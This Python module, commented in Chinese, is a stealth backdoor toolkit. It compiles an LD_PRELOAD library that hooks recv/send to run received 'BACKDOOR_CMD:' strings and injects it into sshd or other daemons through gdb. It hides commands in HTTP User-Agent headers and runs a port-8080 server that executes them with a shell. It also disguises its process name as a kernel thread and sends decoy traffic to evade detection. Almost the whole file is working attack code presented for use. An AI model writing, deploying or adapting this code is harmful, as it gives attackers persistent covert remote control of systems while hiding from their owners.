#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

进程与流量隐蔽模块
实现进程寄生、流量伪装等高级隐蔽通信技术
"""

import os
import sys
import time
import socket
import base64
import random
import string
import threading
import subprocess
import ctypes
from urllib.parse import quote, unquote
import logging

class StealthCommunication:
    """隐蔽通信引擎"""
    
    def __init__(self):
        self.logger = self._setup_logger()
        self.target_processes = [
            'sshd',
            'systemd-journald',
            'systemd-logind',
            'dbus-daemon',
            'NetworkManager',
            'chronyd',
            'rsyslog'
        ]
        self.http_ports = [80, 443, 8080, 8443]
        self.encryption_key = self._generate_key()
        
    def _setup_logger(self):
        """设置日志记录器"""
        logger = logging.getLogger('StealthCommunication')
        logger.setLevel(logging.INFO)
        return logger
        
    def _generate_key(self):
        """生成加密密钥"""
        return ''.join(random.choices(string.ascii_letters + string.digits, k=32))
        
    def process_parasitism(self, target_process=None):
        """
        进程寄生
        通过LD_PRELOAD劫持系统白名单进程
        """
        try:
            if not target_process:
                target_process = self._select_target_process()
                
            if not target_process:
                self.logger.error("未找到合适的目标进程")
                return False
                
            # 创建劫持库
            hijack_lib = self._create_hijack_library()
            if not hijack_lib:
                return False
                
            # 执行进程寄生
            return self._inject_into_process(target_process, hijack_lib)
            
        except Exception as e:
            self.logger.error("进程寄生失败: {}".format(e))
            return False
            
    def _select_target_process(self):
        """选择目标进程"""
        try:
            # 获取运行中的进程
            result = subprocess.run(['ps', 'aux'], capture_output=True, text=True)
            running_processes = result.stdout
            
            # 寻找合适的目标进程
            for process in self.target_processes:
                if process in running_processes:
                    self.logger.info("选择目标进程: {}".format(process))
                    return process
                    
            return None
            
        except Exception as e:
            self.logger.error("选择目标进程失败: {}".format(e))
            return None
            
    def _create_hijack_library(self):
        """创建劫持库"""
        try:
            lib_path = '/tmp/.libhijack.so'
            
            # C代码模板
            c_code = '''
#define _GNU_SOURCE
#include <dlfcn.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

static int (*original_recv)(int, void*, size_t, int) = NULL;
static int (*original_send)(int, const void*, size_t, int) = NULL;

void __attribute__((constructor)) init() {
    original_recv = dlsym(RTLD_NEXT, "recv");
    original_send = dlsym(RTLD_NEXT, "send");
}

ssize_t recv(int sockfd, void *buf, size_t len, int flags) {
    ssize_t result = original_recv(sockfd, buf, len, flags);
    
    // 检查是否为后门命令
    if (result > 0 && strstr((char*)buf, "BACKDOOR_CMD:") != NULL) {
        char *cmd = strstr((char*)buf, "BACKDOOR_CMD:") + 13;
        system(cmd);
        return 0; // 隐藏命令
    }
    
    return result;
}

ssize_t send(int sockfd, const void *buf, size_t len, int flags) {
    // 检查是否需要发送后门响应
    if (getenv("BACKDOOR_RESPONSE")) {
        char *response = getenv("BACKDOOR_RESPONSE");
        return original_send(sockfd, response, strlen(response), flags);
    }
    
    return original_send(sockfd, buf, len, flags);
}
'''
            
            # 写入C代码文件
            c_file = '/tmp/hijack.c'
            with open(c_file, 'w') as f:
                f.write(c_code)
                
            # 编译为共享库
            compile_cmd = "gcc -shared -fPIC -o {} {} -ldl".format(lib_path, c_file)
            result = subprocess.run(compile_cmd, shell=True, capture_output=True)
            
            if result.returncode == 0:
                # 清理源文件
                os.remove(c_file)
                self.logger.info("劫持库创建成功: {}".format(lib_path))
                return lib_path
            else:
                self.logger.error("编译劫持库失败: {}".format(result.stderr))
                return None
                
        except Exception as e:
            self.logger.error("创建劫持库失败: {}".format(e))
            return None
            
    def _inject_into_process(self, target_process, hijack_lib):
        """注入到目标进程"""
        try:
            # 获取目标进程PID
            result = subprocess.run(['pgrep', target_process], capture_output=True, text=True)
            if not result.stdout.strip():
                self.logger.error("未找到进程: {}".format(target_process))
                return False
                
            pid = result.stdout.strip().split('\n')[0]
            
            # 使用gdb注入
            gdb_commands = f'''
attach {pid}
call dlopen("{hijack_lib}", 2)
detach
quit
'''
            
            gdb_file = '/tmp/.gdb_commands'
            with open(gdb_file, 'w') as f:
                f.write(gdb_commands)
                
            # 执行注入
            inject_cmd = "gdb -batch -x {}".format(gdb_file)
            result = subprocess.run(inject_cmd, shell=True, capture_output=True)
            
            # 清理临时文件
            os.remove(gdb_file)
            
            if result.returncode == 0:
                self.logger.info("成功注入到进程 {} (PID: {})".format(target_process, pid))
                return True
            else:
                self.logger.error("注入失败: {}".format(result.stderr))
                return False
                
        except Exception as e:
            self.logger.error("进程注入失败: {}".format(e))
            return False
            
    def traffic_masquerading(self, command, target_host, target_port=80):
        """
        流量伪装
        将命令/结果嵌入HTTP请求头
        """
        try:
            # 加密命令
            encrypted_cmd = self._encrypt_command(command)
            
            # 创建伪装的HTTP请求
            http_request = self._create_masqueraded_request(encrypted_cmd, target_host)
            
            # 发送请求
            response = self._send_masqueraded_request(http_request, target_host, target_port)
            
            if response:
                # 解密响应
                return self._decrypt_response(response)
            else:
                return None
                
        except Exception as e:
            self.logger.error("流量伪装失败: {}".format(e))
            return None
            
    def _encrypt_command(self, command):
        """加密命令"""
        try:
            # 使用高级加密技术
            try:
                import sys
                sys.path.append('/tmp')
                from modules.security.advanced_encryption import AdvancedEncryption
                
                enc = AdvancedEncryption(self.encryption_key)
                return enc.encrypt_payload(command, "stealth_comm")
                
            except ImportError:
                # 降级方案：XOR + 压缩 + 十六进制编码
                import zlib
                import hashlib
                
                # 压缩
                compressed = zlib.compress(command.encode())
                
                # XOR加密
                key = hashlib.sha256(self.encryption_key.encode()).digest()
                encrypted = bytes(a ^ b for a, b in zip(compressed, key * (len(compressed) // len(key) + 1)))
                
                # 十六进制编码（替代Base64）
                return encrypted.hex()
            
        except Exception as e:
            self.logger.error("命令加密失败: {}".format(e))
            return None
            
    def _decrypt_response(self, response):
        """解密响应"""
        try:
            # 使用高级解密技术
            try:
                import sys
                sys.path.append('/tmp')
                from modules.security.advanced_encryption import AdvancedEncryption
                
                enc = AdvancedEncryption(self.encryption_key)
                return enc.decrypt_payload(response, "stealth_comm")
                
            except ImportError:
                # 降级方案：十六进制解码 + XOR解密 + 解压缩
                import zlib
                import hashlib
                
                # 十六进制解码
                encrypted = bytes.fromhex(response)
                
                # XOR解密
                key = hashlib.sha256(self.encryption_key.encode()).digest()
                decrypted = bytes(a ^ b for a, b in zip(encrypted, key * (len(encrypted) // len(key) + 1)))
                
                # 解压缩
                return zlib.decompress(decrypted).decode()
            
        except Exception as e:
            self.logger.error("响应解密失败: {}".format(e))
            return None
            
    def _create_masqueraded_request(self, encrypted_cmd, target_host):
        """创建伪装的HTTP请求"""
        try:
            # 随机选择User-Agent
            user_agents = [
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
                "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
                "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
            ]
            
            selected_ua = random.choice(user_agents)
            
            # 将加密命令嵌入User-Agent
            masqueraded_ua = "{}; {})".format(selected_ua, encrypted_cmd)
            
            # 构造HTTP请求
            request = f"""GET / HTTP/1.1\r
Host: {target_host}\r
User-Agent: {masqueraded_ua}\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r
Accept-Language: en-US,en;q=0.5\r
Accept-Encoding: gzip, deflate\r
Connection: keep-alive\r
Upgrade-Insecure-Requests: 1\r
\r
"""
            
            return request
            
        except Exception as e:
            self.logger.error("创建伪装请求失败: {}".format(e))
            return None
            
    def _send_masqueraded_request(self, request, target_host, target_port):
        """发送伪装请求"""
        try:
            # 创建socket连接
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(10)
            
            # 连接目标
            sock.connect((target_host, target_port))
            
            # 发送请求
            sock.send(request.encode())
            
            # 接收响应
            response = sock.recv(4096).decode()
            sock.close()
            
            # 从响应中提取隐藏数据
            return self._extract_hidden_data(response)
            
        except Exception as e:
            self.logger.error("发送伪装请求失败: {}".format(e))
            return None
            
    def _extract_hidden_data(self, response):
        """从响应中提取隐藏数据"""
        try:
            # 查找隐藏在响应头中的数据
            lines = response.split('\n')
            for line in lines:
                if 'X-Hidden-Data:' in line:
                    return line.split('X-Hidden-Data:')[1].strip()
                    
            # 如果没有找到，返回空
            return ""
            
        except Exception as e:
            self.logger.error("提取隐藏数据失败: {}".format(e))
            return None
            
    def create_covert_channel(self, channel_type='http_header'):
        """
        创建隐蔽信道
        支持多种隐蔽通信方式
        """
        try:
            if channel_type == 'http_header':
                return self._create_http_header_channel()
            elif channel_type == 'dns_tunnel':
                return self._create_dns_tunnel()
            elif channel_type == 'icmp_tunnel':
                return self._create_icmp_tunnel()
            else:
                self.logger.error("未知的信道类型: {}".format(channel_type))
                return False
                
        except Exception as e:
            self.logger.error("创建隐蔽信道失败: {}".format(e))
            return False
            
    def _create_http_header_channel(self):
        """创建HTTP头隐蔽信道"""
        try:
            def channel_server():
                server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                server_socket.bind(('0.0.0.0', 8080))
                server_socket.listen(5)
                
                self.logger.info("HTTP头隐蔽信道服务器启动在端口8080")
                
                while True:
                    try:
                        client_socket, addr = server_socket.accept()
                        request = client_socket.recv(4096).decode()
                        
                        # 提取隐藏命令
                        command = self._extract_command_from_headers(request)
                        
                        if command:
                            # 执行命令
                            result = subprocess.run(command, shell=True, capture_output=True, text=True)
                            
                            # 加密结果
                            encrypted_result = self._encrypt_command(result.stdout)
                            
                            # 发送伪装响应
                            response = f"""HTTP/1.1 200 OK\r
Content-Type: text/html\r
X-Hidden-Data: {encrypted_result}\r
Content-Length: 13\r
\r
Hello World!"""
                            
                            client_socket.send(response.encode())
                            
                        client_socket.close()
                        
                    except Exception as e:
                        self.logger.error("处理客户端连接失败: {}".format(e))
                        
            # 在后台线程中运行服务器
            server_thread = threading.Thread(target=channel_server)
            server_thread.daemon = True
            server_thread.start()
            
            return True
            
        except Exception as e:
            self.logger.error("创建HTTP头信道失败: {}".format(e))
            return False
            
    def _extract_command_from_headers(self, request):
        """从HTTP头中提取命令"""
        try:
            lines = request.split('\n')
            for line in lines:
                if 'User-Agent:' in line:
                    # 查找嵌入的命令
                    parts = line.split(';')
                    if len(parts) > 1:
                        # 最后一部分可能包含加密命令
                        encrypted_cmd = parts[-1].strip().rstrip(')')
                        return self._decrypt_response(encrypted_cmd)
                        
            return None
            
        except Exception as e:
            self.logger.error("提取命令失败: {}".format(e))
            return None
            
    def anti_detection_measures(self):
        """
        反检测措施
        实施多种技术规避安全检测
        """
        try:
            # 进程名伪装
            self._disguise_process_name()
            
            # 网络流量混淆
            self._obfuscate_network_traffic()
            
            # 时间随机化
            self._randomize_timing()
            
            # 资源使用限制
            self._limit_resource_usage()
            
            self.logger.info("反检测措施已启用")
            return True
            
        except Exception as e:
            self.logger.error("启用反检测措施失败: {}".format(e))
            return False
            
    def _disguise_process_name(self):
        """伪装进程名"""
        try:
            # 修改进程名为系统进程
            legitimate_names = [
                '[kthreadd]',
                '[ksoftirqd/0]',
                '[migration/0]',
                '[rcu_gp]',
                '[rcu_par_gp]'
            ]
            
            new_name = random.choice(legitimate_names)
            
            # 使用prctl修改进程名
            if sys.platform.startswith('linux'):
                try:
                    libc = ctypes.CDLL("libc.so.6")
                    libc.prctl(15, new_name.encode(), 0, 0, 0)  # PR_SET_NAME = 15
                    self.logger.info("进程名已伪装为: {}".format(new_name))
                except:
                    pass
                    
        except Exception as e:
            self.logger.error("进程名伪装失败: {}".format(e))
            
    def _obfuscate_network_traffic(self):
        """混淆网络流量"""
        try:
            # 生成随机的正常流量
            def generate_noise_traffic():
                while True:
                    try:
                        # 随机访问正常网站
                        normal_sites = [
                            'www.google.com',
                            'www.github.com',
                            'www.stackoverflow.com',
                            'www.wikipedia.org'
                        ]
                        
                        site = random.choice(normal_sites)
                        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                        sock.settimeout(5)
                        sock.connect((site, 80))
                        
                        request = "GET / HTTP/1.1\r\nHost: {}\r\n\r\n".format(site)
                        sock.send(request.encode())
                        sock.recv(1024)
                        sock.close()
                        
                        # 随机间隔
                        time.sleep(random.randint(30, 300))
                        
                    except:
                        pass
                        
            # 在后台生成噪音流量
            noise_thread = threading.Thread(target=generate_noise_traffic)
            noise_thread.daemon = True
            noise_thread.start()
            
        except Exception as e:
            self.logger.error("网络流量混淆失败: {}".format(e))
            
    def _randomize_timing(self):
        """随机化时间"""
        try:
            # 在关键操作前添加随机延迟
            delay = random.randint(1, 10)
            time.sleep(delay)
            
        except Exception as e:
            self.logger.error("时间随机化失败: {}".format(e))
            
    def _limit_resource_usage(self):
        """限制资源使用"""
        try:
            # 限制CPU使用率
            os.nice(10)  # 降低进程优先级
            
            # 限制内存使用
            # 这里可以添加内存使用监控和限制
            
        except Exception as e:
            self.logger.error("资源使用限制失败: {}".format(e))

# 使用示例
if __name__ == "__main__":
    stealth = StealthCommunication()
    
    # 进程寄生示例
    stealth.process_parasitism("sshd")
    
    # 流量伪装示例
    result = stealth.traffic_masquerading("whoami", "target.example.com")
    print("命令执行结果: {}".format(result))
    
    # 创建隐蔽信道示例
    stealth.create_covert_channel("http_header")
    
    # 启用反检测措施
    stealth.anti_detection_measures()